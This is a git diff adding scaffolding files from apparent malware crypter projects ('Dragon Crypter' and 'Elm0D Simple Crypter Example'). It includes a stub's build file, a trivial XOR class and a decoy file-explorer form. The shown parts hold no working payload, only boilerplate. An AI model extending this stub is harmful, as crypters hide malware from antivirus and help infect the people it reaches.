Crypter/Stub/Stub.vbproj new file mode 100644 index 0000000..d7146f2 --- /dev/null +++ b/scode (Dragon Crypter/Stub/Stub.vbproj @@ -0,0 +1,138 @@ + + + + Debug + AnyCPU + 9.0.30729 + 2.0 + {4CFDE991-8014-428E-BF76-449C96656449} + WinExe + Sub Main + Stub + Stub + 512 + WindowsFormsWithCustomSubMain + v2.0 + On + Binary + Off + On + + + + + 3.5 + publish\ + true + Disk + false + Foreground + 7 + Days + false + false + true + 0 + 1.0.0.%2a + false + false + true + + + + true + full + true + true + bin\Debug\ + Stub.xml + 42016,41999,42017,42018,42019,42032,42036,42020,42021,42022,42353,42354,42355 + + + pdbonly + false + true + true + bin\Release\ + Stub.xml + 42016,41999,42017,42018,42019,42032,42036,42020,42021,42022,42353,42354,42355 + x86 + true + + + My Project\app.manifest + + + ico.ico + + + + + + + + + + 3.5 + + + 3.5 + + + 3.5 + + + + + + + + + + + + + + + + + + + + True + Application.myapp + + + + + + + + MyApplicationCodeGenerator + Application.Designer.vb + + + + + False + .NET Framework 3.5 SP1 Client Profile + false + + + False + .NET Framework 3.5 SP1 + true + + + + + + + + \ No newline at end of file diff --git a/scode (Dragon Crypter/Stub/Stub.vbproj.user b/scode (Dragon Crypter/Stub/Stub.vbproj.user new file mode 100644 index 0000000..829a5c6 --- /dev/null +++ b/scode (Dragon Crypter/Stub/Stub.vbproj.user @@ -0,0 +1,14 @@ + + + + + + + + + + en-US + false + ShowAllFiles + + \ No newline at end of file diff --git a/scode (Dragon Crypter/Stub/XORR.vb b/scode (Dragon Crypter/Stub/XORR.vb new file mode 100644 index 0000000..82c3f79 --- /dev/null +++ b/scode (Dragon Crypter/Stub/XORR.vb @@ -0,0 +1,11 @@ + +Class XORR + + Private _hamzao As String + + Sub New(Hamzao As String) + ' TODO: Complete member initialization + _hamzao = Hamzao + End Sub + +End Class diff --git a/scode (Dragon Crypter/Stub/app.config b/scode (Dragon Crypter/Stub/app.config new file mode 100644 index 0000000..3a45e71 --- /dev/null +++ b/scode (Dragon Crypter/Stub/app.config @@ -0,0 +1,23 @@ + + + + + + + + + + + + + + + + + + + + + + + diff --git a/scode (Dragon Crypter/Stub/ico.ico b/scode (Dragon Crypter/Stub/ico.ico new file mode 100644 index 0000000..a9a749c Binary files /dev/null and b/scode (Dragon Crypter/Stub/ico.ico differ diff --git a/scode (Elm0D Simple Crypter Example/.DS_Store b/scode (Elm0D Simple Crypter Example/.DS_Store new file mode 100644 index 0000000..d08080a Binary files /dev/null and b/scode (Elm0D Simple Crypter Example/.DS_Store differ diff --git a/scode (Elm0D Simple Crypter Example/Stb/Explorer1.Designer.vb b/scode (Elm0D Simple Crypter Example/Stb/Explorer1.Designer.vb new file mode 100644 index 0000000..78d81fa --- /dev/null +++ b/scode (Elm0D Simple Crypter Example/Stb/Explorer1.Designer.vb @@ -0,0 +1,617 @@ + _ +Partial Class Explorer1 + Inherits System.Windows.Forms.Form + + 'Form overrides dispose to clean up the component list. + _ + Protected Overrides Sub Dispose(ByVal disposing As Boolean) + Try + If disposing AndAlso components IsNot Nothing Then + components.Dispose() + End If + Finally + MyBase.Dispose(disposing) + End Try + End Sub + + Friend WithEvents ToolStripContainer As System.Windows.Forms.ToolStripContainer + Friend WithEvents TreeNodeImageList As System.Windows.Forms.ImageList + Friend WithEvents ToolStripSeparator7 As System.Windows.Forms.ToolStripSeparator + Friend WithEvents ToolStripSeparator8 As System.Windows.Forms.ToolStripSeparator + Friend WithEvents ToolStrip As System.Windows.Forms.ToolStrip + Friend WithEvents BackToolStripButton As System.Windows.Forms.ToolStripButton + Friend WithEvents ForwardToolStripButton As System.Windows.Forms.ToolStripButton + Friend WithEvents FoldersToolStripButton As System.Windows.Forms.ToolStripButton + Friend WithEvents ListViewToolStripButton As System.Windows.Forms.ToolStripDropDownButton + Friend WithEvents ListToolStripMenuItem As System.Windows.Forms.ToolStripMenuItem + Friend WithEvents DetailsToolStripMenuItem As System.Windows.Forms.ToolStripMenuItem + Friend WithEvents LargeIconsToolStripMenuItem As System.Windows.Forms.ToolStripMenuItem + Friend WithEvents SmallIconsToolStripMenuItem As System.Windows.Forms.ToolStripMenuItem + Friend WithEvents TileToolStripMenuItem As System.Windows.Forms.ToolStripMenuItem + Friend WithEvents MenuStrip As System.Windows.Forms.MenuStrip + Friend WithEvents FileToolStripMenuItem As System.Windows.Forms.ToolStripMenuItem + Friend WithEvents NewToolStripMenuItem As System.Windows.Forms.ToolStripMenuItem + Friend WithEvents OpenToolStripMenuItem As System.Windows.Forms.ToolStripMenuItem + Friend WithEvents ToolStripSeparator1 As System.Windows.Forms.ToolStripSeparator + Friend WithEvents SaveToolStripMenuItem As System.Windows.Forms.ToolStripMenuItem + Friend WithEvents SaveAsToolStripMenuItem As System.Windows.Forms.ToolStripMenuItem + Friend WithEvents ToolStripSeparator2 As System.Windows.Forms.ToolStripSeparator + Friend WithEvents PrintToolStripMenuItem As System.Windows.Forms.ToolStripMenuItem + Friend WithEvents PrintPreviewToolStripMenuItem As System.Windows.Forms.ToolStripMenuItem + Friend WithEvents ToolStripSeparator3 As System.Windows.Forms.ToolStripSeparator + Friend WithEvents ExitToolStripMenuItem As System.Windows.Forms.ToolStripMenuItem + Friend WithEvents EditToolStripMenuItem As System.Windows.Forms.ToolStripMenuItem + Friend WithEvents UndoToolStripMenuItem As System.Windows.Forms.ToolStripMenuItem + Friend WithEvents RedoToolStripMenuItem As System.Windows.Forms.ToolStripMenuItem + Friend WithEvents ToolStripSeparator4 As System.Windows.Forms.ToolStripSeparator + Friend WithEvents CutToolStripMenuItem As System.Windows.Forms.ToolStripMenuItem + Friend WithEvents CopyToolStripMenuItem As System.Windows.Forms.ToolStripMenuItem + Friend WithEvents PasteToolStripMenuItem As System.Windows.Forms.ToolStripMenuItem + Friend WithEvents ToolStripSeparator5 As System.Windows.Forms.ToolStripSeparator + Friend WithEvents SelectAllToolStripMenuItem As System.Windows.Forms.ToolStripMenuItem + Friend WithEvents ViewToolStripMenuItem As System.Windows.Forms.ToolStripMenuItem + Friend WithEvents ToolBarToolStripMenuItem As System.Windows.Forms.ToolStripMenuItem + Friend WithEvents StatusBarToolStripMenuItem As System.Windows.Forms.ToolStripMenuItem + Friend WithEvents FoldersToolStripMenuItem As System.Windows.Forms.ToolStripMenuItem + Friend WithEvents ToolsToolStripMenuItem As System.Windows.Forms.ToolStripMenuItem + Friend WithEvents OptionsToolStripMenuItem As System.Windows.Forms.ToolStripMenuItem + Friend WithEvents HelpToolStripMenuItem As System.Windows.Forms.ToolStripMenuItem + Friend WithEvents ContentsToolStripMenuItem As System.Windows.Forms.ToolStripMenuItem + Friend WithEvents IndexToolStripMenuItem As System.Windows.Forms.ToolStripMenuItem + Friend WithEvents SearchToolStripMenuItem As System.Windows.Forms.ToolStripMenuItem + Friend WithEvents ToolStripSeparator6 As System.Windows.Forms.ToolStripSeparator + Friend WithEvents AboutToolStripMenuItem As System.Windows.Forms.ToolStripMenuItem + Friend WithEvents SplitContainer As System.Windows.Forms.SplitContainer + Friend WithEvents TreeView As System.Windows.Forms.TreeView + Friend WithEvents ListView As System.Windows.Forms.ListView + Friend WithEvents StatusStrip As System.Windows.Forms.StatusStrip + Friend WithEvents ToolStripStatusLabel As System.Windows.Forms.ToolStripStatusLabel + Friend WithEvents ToolTip As System.Windows.Forms.ToolTip + Friend WithEvents ListViewLargeImageList As System.Windows.Forms.ImageList + Friend WithEvents ListViewSmallImageList As System.Windows.Forms.ImageList + + 'Required by the Windows Form Designer + Private components As System.ComponentModel.IContainer + + 'NOTE: The following procedure is required by the Windows Form Designer + 'It can be modified using the Windows Form Designer. + 'Do not modify it using the code editor. + _ + Private Sub InitializeComponent() + Me.components = New System.ComponentModel.Container + Dim resources As System.ComponentModel.ComponentResourceManager = New System.ComponentModel.ComponentResourceManager(GetType(Explorer1)) + Me.StatusStrip = New System.Windows.Forms.StatusStrip + Me.ToolStripStatusLabel = New System.Windows.Forms.ToolStripStatusLabel + Me.TreeNodeImageList = New System.Windows.Forms.ImageList(Me.components) + Me.ToolStrip = New System.Windows.Forms.ToolStrip + Me.BackToolStripButton = New System.Windows.Forms.ToolStripButton + Me.ForwardToolStripButton = New System.Windows.Forms.ToolStripButton + Me.ToolStripSeparator7 = New System.Windows.Forms.ToolStripSeparator + Me.FoldersToolStripButton = New System.Windows.Forms.ToolStripButton + Me.ToolStripSeparator8 = New System.Windows.Forms.ToolStripSeparator + Me.ListViewToolStripButton = New System.Windows.Forms.ToolStripDropDownButton + Me.ListToolStripMenuItem = New System.Windows.Forms.ToolStripMenuItem + Me.DetailsToolStripMenuItem = New System.Windows.Forms.ToolStripMenuItem + Me.LargeIconsToolStripMenuItem = New System.Windows.Forms.ToolStripMenuItem + Me.SmallIconsToolStripMenuItem = New System.Windows.Forms.ToolStripMenuItem + Me.TileToolStripMenuItem = New System.Windows.Forms.ToolStripMenuItem + Me.MenuStrip = New System.Windows.Forms.MenuStrip + Me.FileToolStripMenuItem = New System.Windows.Forms.ToolStripMenuItem + Me.NewToolStripMenuItem = New System.Windows.Forms.ToolStripMenuItem + Me.OpenToolStripMenuItem = New System.Windows.Forms.ToolStripMenuItem + Me.ToolStripSeparator1 = New System.Windows.Forms.ToolStripSeparator + Me.SaveToolStripMenuItem = New System.Windows.Forms.ToolStripMenuItem + Me.SaveAsToolStripMenuItem = New System.Windows.Forms.ToolStripMenuItem + Me.ToolStripSeparator2 = New System.Windows.Forms.ToolStripSeparator + Me.PrintToolStripMenuItem = New System.Windows.Forms.ToolStripMenuItem + Me.PrintPreviewToolStripMenuItem = New System.Windows.Forms.ToolStripMenuItem + Me.ToolStripSeparator3 = New System.Windows.Forms.ToolStripSeparator + Me.ExitToolStripMenuItem = New System.Windows.Forms.ToolStripMenuItem + Me.EditToolStripMenuItem = New System.Windows.Forms.ToolStripMenuItem + Me.UndoToolStripMenuItem = New System.Windows.Forms.ToolStripMenuItem + Me.RedoToolStripMenuItem = New System.Windows.Forms.ToolStripMenuItem + Me.ToolStripSeparator4 = New System.Windows.Forms.ToolStripSeparator + Me.CutToolStripMenuItem = New System.Windows.Forms.ToolStripMenuItem + Me.CopyToolStripMenuItem = New System.Windows.Forms.ToolStripMenuItem + Me.PasteToolStripMenuItem = New System.Windows.Forms.ToolStripMenuItem + Me.ToolStripSeparator5 = New System.Windows.Forms.ToolStripSeparator + Me.SelectAllToolStripMenuItem = New System.Windows.Forms.ToolStripMenuItem + Me.ViewToolStripMenuItem = New System.Windows.Forms.ToolStripMenuItem + Me.ToolBarToolStripMenuItem = New System.Windows.Forms.ToolStripMenuItem + Me.StatusBarToolStripMenuItem = New System.Windows.Forms.ToolStripMenuItem + Me.FoldersToolStripMenuItem = New System.Windows.Forms.ToolStripMenuItem + Me.ToolsToolStripMenuItem = New System.Windows.Forms.ToolStripMenuItem + Me.OptionsToolStripMenuItem = New System.Windows.Forms.ToolStripMenuItem + Me.HelpToolStripMenuItem = New System.Windows.Forms.ToolStripMenuItem + Me.ContentsToolStripMenuItem = New System.Windows.Forms.ToolStripMenuItem + Me.IndexToolStripMenuItem = New System.Windows.Forms.ToolStripMenuItem + Me.SearchToolStripMenuItem = New System.Windows.Forms.ToolStripMenuItem + Me.ToolStripSeparator6 = New System.Windows.Forms.ToolStripSeparator + Me.AboutToolStripMenuItem = New System.Windows.Forms.ToolStripMenuItem + Me.ToolTip = New System.Windows.Forms.ToolTip(Me.components) + Me.ToolStripContainer = New System.Windows.Forms.ToolStripContainer + Me.SplitContainer = New System.Windows.Forms.SplitContainer + Me.TreeView = New System.Windows.Forms.TreeView + Me.ListView = New System.Windows.Forms.ListView + Me.ListViewLargeImageList = New System.Windows.Forms.ImageList(Me.components) + Me.ListViewSmallImageList = New System.Windows.Forms.ImageList(Me.components) + Me.StatusStrip.SuspendLayout() + Me.ToolStrip.SuspendLayout() + Me.MenuStrip.SuspendLayout() + Me.ToolStripContainer.BottomToolStripPanel.SuspendLayout() + Me.ToolStripContainer.ContentPanel.SuspendLayout() + Me.ToolStripContainer.TopToolStripPanel.SuspendLayout() + Me.ToolStripContainer.SuspendLayout() + Me.SplitContainer.Panel1.SuspendLayout() + Me.SplitContainer.Panel2.SuspendLayout() + Me.SplitContainer.SuspendLayout() + Me.SuspendLayout() + ' + 'StatusStrip + ' + Me.StatusStrip.Dock = System.Windows.Forms.DockStyle.None + Me.StatusStrip.Items.AddRange(New System.Windows.Forms.ToolStripItem() {Me.ToolStripStatusLabel}) + Me.StatusStrip.Location = New System.Drawing.Point(0, 0) + Me.StatusStrip.Name = "StatusStrip" + Me.StatusStrip.Size = New System.Drawing.Size(632, 22) + Me.StatusStrip.TabIndex = 6 + Me.StatusStrip.Text = "StatusStrip" + ' + 'ToolStripStatusLabel + ' + Me.ToolStripStatusLabel.Name = "ToolStripStatusLabel" + Me.ToolStripStatusLabel.Size = New System.Drawing.Size(38, 17) + Me.ToolStripStatusLabel.Text = "Status" + ' + 'TreeNodeImageList + ' + Me.TreeNodeImageList.ImageStream = CType(resources.GetObject("TreeNodeImageList.ImageStream"), System.Windows.Forms.ImageListStreamer) + Me.TreeNodeImageList.TransparentColor = System.Drawing.Color.Transparent + Me.TreeNodeImageList.Images.SetKeyName(0, "ClosedFolder") + Me.TreeNodeImageList.Images.SetKeyName(1, "OpenFolder") + ' + 'ToolStrip + ' + Me.ToolStrip.Anchor = System.Windows.Forms.AnchorStyles.Right + Me.ToolStrip.Dock = System.Windows.Forms.DockStyle.None + Me.ToolStrip.Items.AddRange(New System.Windows.Forms.ToolStripItem() {Me.BackToolStripButton, Me.ForwardToolStripButton, Me.ToolStripSeparator7, Me.FoldersToolStripButton, Me.ToolStripSeparator8, Me.ListViewToolStripButton}) + Me.ToolStrip.Location = New System.Drawing.Point(3, 24) + Me.ToolStrip.Name = "ToolStrip" + Me.ToolStrip.Size = New System.Drawing.Size(231, 25) + Me.ToolStrip.TabIndex = 0 + Me.ToolStrip.Text = "ToolStrip1" + ' + 'BackToolStripButton + ' + Me.BackToolStripButton.Enabled = False + Me.BackToolStripButton.Image = CType(resources.GetObject("BackToolStripButton.Image"), System.Drawing.Image) + Me.BackToolStripButton.ImageTransparentColor = System.Drawing.Color.Black + Me.BackToolStripButton.Name = "BackToolStripButton" + Me.BackToolStripButton.Size = New System.Drawing.Size(49, 22) + Me.BackToolStripButton.Text = "Back" + Me.BackToolStripButton.ToolTipText = "Back to the previous item" + ' + 'ForwardToolStripButton + ' + Me.ForwardToolStripButton.Enabled = False + Me.ForwardToolStripButton.Image = CType(resources.GetObject("ForwardToolStripButton.Image"), System.Drawing.Image) + Me.ForwardToolStripButton.ImageTransparentColor = System.Drawing.Color.Black + Me.ForwardToolStripButton.Name = "ForwardToolStripButton" + Me.ForwardToolStripButton.Size = New System.Drawing.Size(67, 22) + Me.ForwardToolStripButton.Text = "Forward" + Me.ForwardToolStripButton.ToolTipText = "Move forward to the next item" + ' + 'ToolStripSeparator7 + ' + Me.ToolStripSeparator7.Name = "ToolStripSeparator7" + Me.ToolStripSeparator7.Size = New System.Drawing.Size(6, 25) + ' + 'FoldersToolStripButton + ' + Me.FoldersToolStripButton.Checked = True + Me.FoldersToolStripButton.CheckState = System.Windows.Forms.CheckState.Checked + Me.FoldersToolStripButton.Image = CType(resources.GetObject("FoldersToolStripButton.Image"), System.Drawing.Image) + Me.FoldersToolStripButton.ImageTransparentColor = System.Drawing.Color.Black + Me.FoldersToolStripButton.Name = "FoldersToolStripButton" + Me.FoldersToolStripButton.Size = New System.Drawing.Size(62, 22) + Me.FoldersToolStripButton.Text = "Folders" + Me.FoldersToolStripButton.ToolTipText = "Toggle Folders View" + ' + 'ToolStripSeparator8 + ' + Me.ToolStripSeparator8.Name = "ToolStripSeparator8" + Me.ToolStripSeparator8.Size = New System.Drawing.Size(6, 25) + ' + 'ListViewToolStripButton + ' + Me.ListViewToolStripButton.DisplayStyle = System.Windows.Forms.ToolStripItemDisplayStyle.Image + Me.ListViewToolStripButton.DropDownItems.AddRange(New System.Windows.Forms.ToolStripItem() {Me.ListToolStripMenuItem, Me.DetailsToolStripMenuItem, Me.LargeIconsToolStripMenuItem, Me.SmallIconsToolStripMenuItem, Me.TileToolStripMenuItem}) + Me.ListViewToolStripButton.Image = CType(resources.GetObject("ListViewToolStripButton.Image"), System.Drawing.Image) + Me.ListViewToolStripButton.ImageTransparentColor = System.Drawing.Color.Black + Me.ListViewToolStripButton.Name = "ListViewToolStripButton" + Me.ListViewToolStripButton.Size = New System.Drawing.Size(29, 22) + Me.ListViewToolStripButton.Text = "Views" + ' + 'ListToolStripMenuItem + ' + Me.ListToolStripMenuItem.Name = "ListToolStripMenuItem" + Me.ListToolStripMenuItem.Size = New System.Drawing.Size(130, 22) + Me.ListToolStripMenuItem.Text = "List" + ' + 'DetailsToolStripMenuItem + ' + Me.DetailsToolStripMenuItem.Checked = True + Me.DetailsToolStripMenuItem.CheckState = System.Windows.Forms.CheckState.Checked + Me.DetailsToolStripMenuItem.Name = "DetailsToolStripMenuItem" + Me.DetailsToolStripMenuItem.Size = New System.Drawing.Size(130, 22) + Me.DetailsToolStripMenuItem.Text = "Details" + ' + 'LargeIconsToolStripMenuItem + ' + Me.LargeIconsToolStripMenuItem.Name = "LargeIconsToolStripMenuItem" + Me.LargeIconsToolStripMenuItem.Size = New System.Drawing.Size(130, 22) + Me.LargeIconsToolStripMenuItem.Text = "Large Icons" + ' + 'SmallIconsToolStripMenuItem + ' + Me.SmallIconsToolStripMenuItem.Name = "SmallIconsToolStripMenuItem" + Me.SmallIconsToolStripMenuItem.Size = New System.Drawing.Size(130, 22) + Me.SmallIconsToolStripMenuItem.Text = "Small Icons" + ' + 'TileToolStripMenuItem + ' + Me.TileToolStripMenuItem.Name = "TileToolStripMenuItem" + Me.TileToolStripMenuItem.Size = New System.Drawing.Size(130, 22) + Me.TileToolStripMenuItem.Text = "Tile" + ' + 'MenuStrip + ' + Me.MenuStrip.Dock = System.Windows.Forms.DockStyle.None + Me.MenuStrip.Items.AddRange(New System.Windows.Forms.ToolStripItem() {Me.FileToolStripMenuItem, Me.EditToolStripMenuItem, Me.ViewToolStripMenuItem, Me.ToolsToolStripMenuItem, Me.HelpToolStripMenuItem}) + Me.MenuStrip.Location = New System.Drawing.Point(0, 0) + Me.MenuStrip.Name = "MenuStrip" + Me.MenuStrip.Size = New System.Drawing.Size(632, 24) + Me.MenuStrip.TabIndex = 0 + Me.MenuStrip.Text = "MenuStrip1" + ' + 'FileToolStripMenuItem + ' + Me.FileToolStripMenuItem.DropDownItems.AddRange(New System.Windows.Forms.ToolStripItem() {Me.NewToolStripMenuItem, Me.OpenToolStripMenuItem, Me.ToolStripSeparator1, Me.SaveToolStripMenuItem, Me.SaveAsToolStripMenuItem, Me.ToolStripSeparator2, Me.PrintToolStripMenuItem, Me.PrintPreviewToolStripMenuItem, Me.ToolStripSeparator3, Me.ExitToolStripMenuItem}) + Me.FileToolStripMenuItem.Name = "FileToolStripMenuItem" + Me.FileToolStripMenuItem.Size = New System.Drawing.Size(35, 20) + Me.FileToolStripMenuItem.Text = "&File" + ' + 'NewToolStripMenuItem + ' + Me.NewToolStripMenuItem.Image = CType(resources.GetObject("NewToolStripMenuItem.Image"), System.Drawing.Image) + Me.NewToolStripMenuItem.ImageTransparentColor = System.Drawing.Color.Black + Me.NewToolStripMenuItem.Name = "NewToolStripMenuItem" + Me.NewToolStripMenuItem.ShortcutKeys = CType((System.Windows.Forms.Keys.Control Or System.Windows.Forms.Keys.N), System.Windows.Forms.Keys) + Me.NewToolStripMenuItem.Size = New System.Drawing.Size(140, 22) + Me.NewToolStripMenuItem.Text = "&New" + ' + 'OpenToolStripMenuItem + ' + Me.OpenToolStripMenuItem.Image = CType(resources.GetObject("OpenToolStripMenuItem.Image"), System.Drawing.Image) + Me.OpenToolStripMenuItem.ImageTransparentColor = System.Drawing.Color.Black + Me.OpenToolStripMenuItem.Name = "OpenToolStripMenuItem" + Me.OpenToolStripMenuItem.ShortcutKeys = CType((System.Windows.Forms.Keys.Control Or System.Windows.Forms.Keys.O), System.Windows.Forms.Keys) + Me.OpenToolStripMenuItem.Size = New System.Drawing.Size(140, 22) + Me.OpenToolStripMenuItem.Text = "&Open" + ' + 'ToolStripSeparator1 + ' + Me.ToolStripSeparator1.Name = "ToolStripSeparator1" + Me.ToolStripSeparator1.Size = New System.Drawing.Size(137, 6) + ' + 'SaveToolStripMenuItem + ' + Me.SaveToolStripMenuItem.Image = CType(resources.GetObject("SaveToolStripMenuItem.Image"), System.Drawing.Image) + Me.SaveToolStripMenuItem.ImageTransparentColor = System.Drawing.Color.Black + Me.SaveToolStripMenuItem.Name = "SaveToolStripMenuItem" + Me.SaveToolStripMenuItem.ShortcutKeys = CType((System.Windows.Forms.Keys.Control Or System.Windows.Forms.Keys.S), System.Windows.Forms.Keys) + Me.SaveToolStripMenuItem.Size = New System.Drawing.Size(140, 22) + Me.SaveToolStripMenuItem.Text = "&Save" + ' + 'SaveAsToolStripMenuItem + ' + Me.SaveAsToolStripMenuItem.Name = "SaveAsToolStripMenuItem" + Me.SaveAsToolStripMenuItem.Size = New System.Drawing.Size(140, 22) + Me.SaveAsToolStripMenuItem.Text = "Save &As" + ' + 'ToolStripSeparator2 + ' + Me.ToolStripSeparator2.Name = "ToolStripSeparator2" + Me.ToolStripSeparator2.Size = New System.Drawing.Size(137, 6) + ' + 'PrintToolStripMenuItem + ' + Me.PrintToolStripMenuItem.Image = CType(resources.GetObject("PrintToolStripMenuItem.Image"), System.Drawing.Image) + Me.PrintToolStripMenuItem.ImageTransparentColor = System.Drawing.Color.Black + Me.PrintToolStripMenuItem.Name = "PrintToolStripMenuItem" + Me.PrintToolStripMenuItem.ShortcutKeys = CType((System.Windows.Forms.Keys.Control Or System.Windows.Forms.Keys.P), System.Windows.Forms.Keys) + Me.PrintToolStripMenuItem.Size = New System.Drawing.Size(140, 22) + Me.PrintToolStripMenuItem.Text = "&Print" + ' + 'PrintPreviewToolStripMenuItem + ' + Me.PrintPreviewToolStripMenuItem.Image = CType(resources.GetObject("PrintPreviewToolStripMenuItem.Image"), System.Drawing.Image) + Me.PrintPreviewToolStripMenuItem.ImageTransparentColor = System.Drawing.Color.Black + Me.PrintPreviewToolStripMenuItem.Name = "PrintPreviewToolStripMenuItem" + Me.PrintPreviewToolStripMenuItem.Size = New System.Drawing.Size(140, 22) + Me.PrintPreviewToolStripMenuItem.Text = "Print Pre&view" + ' + 'ToolStripSeparator3 + ' + Me.ToolStripSeparator3.Name = "ToolStripSeparator3" + Me.ToolStripSeparator3.Size = New System.Drawing.Size(137, 6) + ' + 'ExitToolStripMenuItem + ' + Me.ExitToolStripMenuItem.Name = "ExitToolStripMenuItem" + Me.ExitToolStripMenuItem.Size = New System.Drawing.Size(140, 22) + Me.ExitToolStripMenuItem.Text = "E&xit" + ' + 'EditToolStripMenuItem + ' + Me.EditToolStripMenuItem.DropDownItems.AddRange(New System.Windows.Forms.ToolStripItem() {Me.UndoToolStripMenuItem, Me.RedoToolStripMenuItem, Me.ToolStripSeparator4, Me.CutToolStripMenuItem, Me.CopyToolStripMenuItem, Me.PasteToolStripMenuItem, Me.ToolStripSeparator5, Me.SelectAllToolStripMenuItem}) + Me.EditToolStripMenuItem.Name = "EditToolStripMenuItem" + Me.EditToolStripMenuItem.Size = New System.Drawing.Size(37, 20) + Me.EditToolStripMenuItem.Text = "&Edit" + ' + 'UndoToolStripMenuItem + ' + Me.UndoToolStripMenuItem.Image = CType(resources.GetObject("UndoToolStripMenuItem.Image"), System.Drawing.Image) + Me.UndoToolStripMenuItem.ImageTransparentColor = System.Drawing.Color.Black + Me.UndoToolStripMenuItem.Name = "UndoToolStripMenuItem" + Me.UndoToolStripMenuItem.ShortcutKeys = CType((System.Windows.Forms.Keys.Control Or System.Windows.Forms.Keys.Z), System.Windows.Forms.Keys) + Me.UndoToolStripMenuItem.Size = New System.Drawing.Size(156, 22) + Me.UndoToolStripMenuItem.Text = "&Undo" + ' + 'RedoToolStripMenuItem + ' + Me.RedoToolStripMenuItem.Image = CType(resources.GetObject("RedoToolStripMenuItem.Image"), System.Drawing.Image) + Me.RedoToolStripMenuItem.ImageTransparentColor = System.Drawing.Color.Black + Me.RedoToolStripMenuItem.Name = "RedoToolStripMenuItem" + Me.RedoToolStripMenuItem.ShortcutKeys = CType((System.Windows.Forms.Keys.Control Or System.Windows.Forms.Keys.Y), System.Windows.Forms.Keys) + Me.RedoToolStripMenuItem.Size = New System.Drawing.Size(156, 22) + Me.RedoToolStripMenuItem.Text = "&Redo" + ' + 'ToolStripSeparator4 + ' + Me.ToolStripSeparator4.Name = "ToolStripSeparator4" + Me.ToolStripSeparator4.Size = New System.Drawing.Size(153, 6) + ' + 'CutToolStripMenuItem + ' + Me.CutToolStripMenuItem.Image = CType(resources.GetObject("CutToolStripMenuItem.Image"), System.Drawing.Image) + Me.CutToolStripMenuItem.ImageTransparentColor = System.Drawing.Color.Black + Me.CutToolStripMenuItem.Name = "CutToolStripMenuItem" + Me.CutToolStripMenuItem.ShortcutKeys = CType((System.Windows.Forms.Keys.Control Or System.Windows.Forms.Keys.X), System.Windows.Forms.Keys) + Me.CutToolStripMenuItem.Size = New System.Drawing.Size(156, 22) + Me.CutToolStripMenuItem.Text = "Cu&t" + ' + 'CopyToolStripMenuItem + ' + Me.CopyToolStripMenuItem.Image = CType(resources.GetObject("CopyToolStripMenuItem.Image"), System.Drawing.Image) + Me.CopyToolStripMenuItem.ImageTransparentColor = System.Drawing.Color.Black + Me.CopyToolStripMenuItem.Name = "CopyToolStripMenuItem" + Me.CopyToolStripMenuItem.ShortcutKeys = CType((System.Windows.Forms.Keys.Control Or System.Windows.Forms.Keys.C), System.Windows.Forms.Keys) + Me.CopyToolStripMenuItem.Size = New System.Drawing.Size(156, 22) + Me.CopyToolStripMenuItem.Text = "&Copy" + ' + 'PasteToolStripMenuItem + ' + Me.PasteToolStripMenuItem.Image = CType(resources.GetObject("PasteToolStripMenuItem.Image"), System.Drawing.Image) + Me.PasteToolStripMenuItem.ImageTransparentColor = System.Drawing.Color.Black + Me.PasteToolStripMenuItem.Name = "PasteToolStripMenuItem" + Me.PasteToolStripMenuItem.ShortcutKeys = CType((System.Windows.Forms.Keys.Control Or System.Windows.Forms.Keys.V), System.Windows.Forms.Keys) + Me.PasteToolStripMenuItem.Size = New System.Drawing.Size(156, 22) + Me.PasteToolStripMenuItem.Text = "&Paste" + ' + 'ToolStripSeparator5 + ' + Me.ToolStripSeparator5.Name = "ToolStripSeparator5" + Me.ToolStripSeparator5.Size = New System.Drawing.Size(153, 6) + ' + 'SelectAllToolStripMenuItem + ' + Me.SelectAllToolStripMenuItem.Name = "SelectAllToolStripMenuItem" + Me.SelectAllToolStripMenuItem.ShortcutKeys = CType((System.Windows.Forms.Keys.Control Or System.Windows.Forms.Keys.A), System.Windows.Forms.Keys) + Me.SelectAllToolStripMenuItem.Size = New System.Drawing.Size(156, 22) + Me.SelectAllToolStripMenuItem.Text = "Select &All" + ' + 'ViewToolStripMenuItem + ' + Me.ViewToolStripMenuItem.DropDownItems.AddRange(New System.Windows.Forms.ToolStripItem() {Me.ToolBarToolStripMenuItem, Me.StatusBarToolStripMenuItem, Me.FoldersToolStripMenuItem}) + Me.ViewToolStripMenuItem.Name = "ViewToolStripMenuItem" + Me.ViewToolStripMenuItem.Size = New System.Drawing.Size(41, 20) + Me.ViewToolStripMenuItem.Text = "&View" + ' + 'ToolBarToolStripMenuItem + ' + Me.ToolBarToolStripMenuItem.Checked = True + Me.ToolBarToolStripMenuItem.CheckState = System.Windows.Forms.CheckState.Checked + Me.ToolBarToolStripMenuItem.Name = "ToolBarToolStripMenuItem" + Me.ToolBarToolStripMenuItem.Size = New System.Drawing.Size(124, 22) + Me.ToolBarToolStripMenuItem.Text = "&Toolbar" + ' + 'StatusBarToolStripMenuItem + ' + Me.StatusBarToolStripMenuItem.Checked = True + Me.StatusBarToolStripMenuItem.CheckState = System.Windows.Forms.CheckState.Checked + Me.StatusBarToolStripMenuItem.Name = "StatusBarToolStripMenuItem" + Me.StatusBarToolStripMenuItem.Size = New System.Drawing.Size(124, 22) + Me.StatusBarToolStripMenuItem.Text = "&Status Bar" + ' + 'FoldersToolStripMenuItem + ' + Me.FoldersToolStripMenuItem.Checked = True + Me.FoldersToolStripMenuItem.CheckState = System.Windows.Forms.CheckState.Checked + Me.FoldersToolStripMenuItem.Name = "FoldersToolStripMenuItem" + Me.FoldersToolStripMenuItem.Size = New System.Drawing.Size(124, 22) + Me.FoldersToolStripMenuItem.Text = "&Folders" + ' + 'ToolsToolStripMenuItem + ' + Me.ToolsToolStripMenuItem.DropDownItems.AddRange(New System.Windows.Forms.ToolStripItem() {Me.OptionsToolStripMenuItem}) + Me.ToolsToolStripMenuItem.Name = "ToolsToolStripMenuItem" + Me.ToolsToolStripMenuItem.Size = New System.Drawing.Size(44, 20) + Me.ToolsToolStripMenuItem.Text = "&Tools" + ' + 'OptionsToolStripMenuItem + ' + Me.OptionsToolStripMenuItem.Name = "OptionsToolStripMenuItem" + Me.OptionsToolStripMenuItem.Size = New System.Drawing.Size(111, 22) + Me.OptionsToolStripMenuItem.Text = "&Options" + ' + 'HelpToolStripMenuItem + ' + Me.HelpToolStripMenuItem.DropDownItems.AddRange(New System.Windows.Forms.ToolStripItem() {Me.ContentsToolStripMenuItem, Me.IndexToolStripMenuItem, Me.SearchToolStripMenuItem, Me.ToolStripSeparator6, Me.AboutToolStripMenuItem}) + Me.HelpToolStripMenuItem.Name = "HelpToolStripMenuItem" + Me.HelpToolStripMenuItem.Size = New System.Drawing.Size(40, 20) + Me.HelpToolStripMenuItem.Text = "&Help" 